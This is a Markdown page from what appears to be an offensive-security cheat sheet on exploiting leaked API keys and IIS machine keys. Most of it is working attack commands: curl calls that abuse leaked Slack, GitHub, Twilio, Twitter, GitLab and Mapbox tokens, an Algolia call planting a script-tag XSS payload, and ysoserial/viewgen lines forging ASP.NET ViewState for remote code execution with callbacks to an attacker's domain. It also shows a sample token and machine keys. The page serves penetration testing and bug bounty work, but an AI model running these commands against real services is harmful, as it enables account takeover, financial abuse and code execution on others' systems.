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216 lines
10 KiB
Markdown
216 lines
10 KiB
Markdown
# API Key Leaks
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> The API key is a unique identifier that is used to authenticate requests associated with your project. Some developers might hardcode them or leave it on public shares.
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## Summary
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- [Tools](#tools)
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- [Exploit](#exploit)
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- [Google Maps](#google-maps)
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- [Algolia](#algolia)
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- [AWS Access Key ID & Secret](#aws-access-key-id--secret)
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- [Slack API Token](#slack-api-token)
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- [Facebook Access Token](#facebook-access-token)
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- [Github client id and client secret](#github-client-id-and-client-secret)
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- [Twilio Account_sid and Auth Token](#twilio-account_sid-and-auth-token)
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- [Twitter API Secret](#twitter-api-secret)
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- [Twitter Bearer Token](#twitter-bearer-token)
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- [Gitlab Personal Access Token](#gitlab-personal-access-token)
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- [HockeyApp API Token](#hockeyapp-api-token)
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- [IIS Machine Keys](#iis-machine-keys)
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- [Mapbox API Token](#Mapbox-API-Token)
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## Tools
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- [KeyFinder - is a tool that let you find keys while surfing the web!](https://github.com/momenbasel/KeyFinder)
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- [Keyhacks - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid.](https://github.com/streaak/keyhacks)
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## Exploit
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The following commands can be used to takeover accounts or extract personal information from the API using the leaked token.
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### Google Maps
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Use : https://github.com/ozguralp/gmapsapiscanner/
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Usage:
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| Name | Endpoint |
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| --- | --- |
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| Static Maps | https://maps.googleapis.com/maps/api/staticmap?center=45%2C10&zoom=7&size=400x400&key=KEY_HERE |
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| Streetview | https://maps.googleapis.com/maps/api/streetview?size=400x400&location=40.720032,-73.988354&fov=90&heading=235&pitch=10&key=KEY_HERE |
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| Embed | https://www.google.com/maps/embed/v1/place?q=place_id:ChIJyX7muQw8tokR2Vf5WBBk1iQ&key=KEY_HERE |
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| Directions | https://maps.googleapis.com/maps/api/directions/json?origin=Disneyland&destination=Universal+Studios+Hollywood4&key=KEY_HERE |
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| Geocoding | https://maps.googleapis.com/maps/api/geocode/json?latlng=40,30&key=KEY_HERE |
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| Distance Matrix | https://maps.googleapis.com/maps/api/distancematrix/json?units=imperial&origins=40.6655101,-73.89188969999998&destinations=40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626&key=KEY_HERE |
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| Find Place from Text | https://maps.googleapis.com/maps/api/place/findplacefromtext/json?input=Museum%20of%20Contemporary%20Art%20Australia&inputtype=textquery&fields=photos,formatted_address,name,rating,opening_hours,geometry&key=KEY_HERE |
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| Autocomplete | https://maps.googleapis.com/maps/api/place/autocomplete/json?input=Bingh&types=%28cities%29&key=KEY_HERE |
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| Elevation | https://maps.googleapis.com/maps/api/elevation/json?locations=39.7391536,-104.9847034&key=KEY_HERE |
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| Timezone | https://maps.googleapis.com/maps/api/timezone/json?location=39.6034810,-119.6822510×tamp=1331161200&key=KEY_HERE |
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| Roads | https://roads.googleapis.com/v1/nearestRoads?points=60.170880,24.942795|60.170879,24.942796|60.170877,24.942796&key=KEY_HERE |
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| Geolocate | https://www.googleapis.com/geolocation/v1/geolocate?key=KEY_HERE |
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Impact:
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* Consuming the company's monthly quota or can over-bill with unauthorized usage of this service and do financial damage to the company
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* Conduct a denial of service attack specific to the service if any limitation of maximum bill control settings exist in the Google account
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### Algolia
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```powershell
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curl --request PUT \
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--url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings \
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--header 'content-type: application/json' \
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--header 'x-algolia-api-key: <example-key>' \
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--header 'x-algolia-application-id: <example-application-id>' \
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--data '{"highlightPreTag": "<script>alert(1);</script>"}'
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```
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### Slack API Token
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```powershell
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curl -sX POST "https://slack.com/api/auth.test?token=xoxp-TOKEN_HERE&pretty=1"
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```
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### Facebook Access Token
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```powershell
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curl https://developers.facebook.com/tools/debug/accesstoken/?access_token=ACCESS_TOKEN_HERE&version=v3.2
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```
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### Github client id and client secret
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```powershell
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curl 'https://api.github.com/users/whatever?client_id=xxxx&client_secret=yyyy'
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```
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### Twilio Account_sid and Auth token
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```powershell
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curl -X GET 'https://api.twilio.com/2010-04-01/Accounts.json' -u ACCOUNT_SID:AUTH_TOKEN
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```
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### Twitter API Secret
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```powershell
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curl -u 'API key:API secret key' --data 'grant_type=client_credentials' 'https://api.twitter.com/oauth2/token'
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```
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### Twitter Bearer Token
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```powershell
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curl --request GET --url https://api.twitter.com/1.1/account_activity/all/subscriptions/count.json --header 'authorization: Bearer TOKEN'
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```
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### Gitlab Personal Access Token
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```powershell
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curl "https://gitlab.example.com/api/v4/projects?private_token=<your_access_token>"
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```
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### HockeyApp API Token
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```powershell
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curl -H "X-HockeyAppToken: ad136912c642076b0d1f32ba161f1846b2c" https://rink.hockeyapp.net/api/2/apps/2021bdf2671ab09174c1de5ad147ea2ba4
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```
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### IIS Machine Keys
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> That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.
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Requirements
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* machineKey **validationKey** and **decryptionKey**
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* __VIEWSTATEGENERATOR cookies
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* __VIEWSTATE cookies
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Example of a machineKey from https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication.
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```xml
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<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
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```
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Common locations of **web.config** / **machine.config**
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* 32-bit
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* C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config
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* C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config
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* 64-bit
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* C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config
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* C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config
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* in registry when **AutoGenerate** is enabled (extract with https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab)
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* HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4
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* HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey
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#### Identify known machine key
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* Exploit with [Blacklist3r/AspDotNetWrapper](https://github.com/NotSoSecure/Blacklist3r)
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* Exploit with [ViewGen](https://github.com/0xacb/viewgen)
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```powershell
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# --webconfig WEBCONFIG: automatically load keys and algorithms from a web.config file
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# -m MODIFIER, --modifier MODIFIER: VIEWSTATEGENERATOR value
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$ viewgen --guess "/wEPDwUKMTYyODkyNTEzMw9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
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[+] ViewState is not encrypted
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[+] Signature algorithm: SHA1
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# --encrypteddata : __VIEWSTATE parameter value of the target application
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# --modifier : __VIEWSTATEGENERATOR parameter value
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$ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata <real viewstate value> --purpose=viewstate --modifier=<modifier value> –macdecode
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```
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#### Decode ViewState
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```powershell
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$ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
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$ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=CA0B0334 --macdecode
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```
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#### Generate ViewState for RCE
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**NOTE**: Send a POST request with the generated ViewState to the same endpoint, in Burp you should **URL Encode Key Characters** for your payload.
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```powershell
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$ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /c nslookup <your collab domain>" --decryptionalg="AES" --generator=ABABABAB decryptionkey="<decryption key>" --validationalg="SHA1" --validationkey="<validation key>"
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$ ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\pwn.txt" --generator="CA0B0334" --validationalg="MD5" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
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$ ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "C:\Users\zhu\Desktop\ExploitClass.cs;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
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$ viewgen --webconfig web.config -m CA0B0334 -c "ping yourdomain.tld"
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```
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#### Edit cookies with the machine key
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If you have the machineKey but the viewstate is disabled.
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ASP.net Forms Authentication Cookies : https://github.com/liquidsec/aspnetCryptTools
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```powershell
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# decrypt cookie
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$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes
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# encrypt cookie (edit Decrypted.txt)
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$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
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```
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### Mapbox API Token
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A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is `sk`, jackpot. If it's `pk` or `tk`, it's not worth your time.
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```
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#Check token validity
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curl "https://api.mapbox.com/tokens/v2?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
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#Get list of all tokens associated with an account. (only works if the token is a Secret Token (sk), and has the appropiate scope)
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curl "https://api.mapbox.com/tokens/v2/MAPBOX_USERNAME_HERE?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
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```
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## References
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* [Finding Hidden API Keys & How to use them - Sumit Jain - August 24, 2019](https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d)
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* [Private API key leakage due to lack of access control - yox - August 8, 2018](https://hackerone.com/reports/376060)
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* [Project Blacklist3r - November 23, 2018 - @notsosecure](https://www.notsosecure.com/project-blacklist3r/)
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* [Saying Goodbye to my Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/)
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* [Mapbox API Token Documentation](https://docs.mapbox.com/help/troubleshooting/how-to-use-mapbox-securely/)
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